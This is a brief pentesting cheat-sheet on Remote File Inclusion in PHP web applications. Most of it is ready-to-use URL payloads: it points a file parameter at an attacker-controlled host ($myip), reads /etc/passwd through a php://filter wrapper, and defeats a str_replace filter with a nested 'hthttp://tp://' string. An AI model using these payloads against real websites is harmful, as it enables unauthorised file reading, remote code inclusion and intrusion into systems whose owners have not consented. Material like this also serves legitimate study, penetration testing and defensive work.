Remote File Inclusion

Also known as RFI, an attacker can redirect actions to or from another server.

Here we find a typical process for leveraging this vulnerability:

• Redirect actions of a server via URL parameters

#It's searching for a file
http://$url/$query?$param=hola.php
#We can do a redirection to another site
http://$url/$query?$param=http://$url
#Or a redirection to a local server
http://$url/$query?$param=//$myip

---

• Sometimes, we will need to check the page code to see the input conditions

Case 1

We find that the code is blocking the connection through the HTTP protocol

Example source code

...
$file = str_replace( array( "http://", "https://" ), "", $file );
...

In this case, we can try to use another connection protocol

http://$url/$query?$param=php://filter/resource=/etc/passwd

Also if we use hthttp://tp:// the code will do the replacement and leave us anyway with http://, and we will also bypass this verification

http://$url/$query?$param=hthttp://tp://$url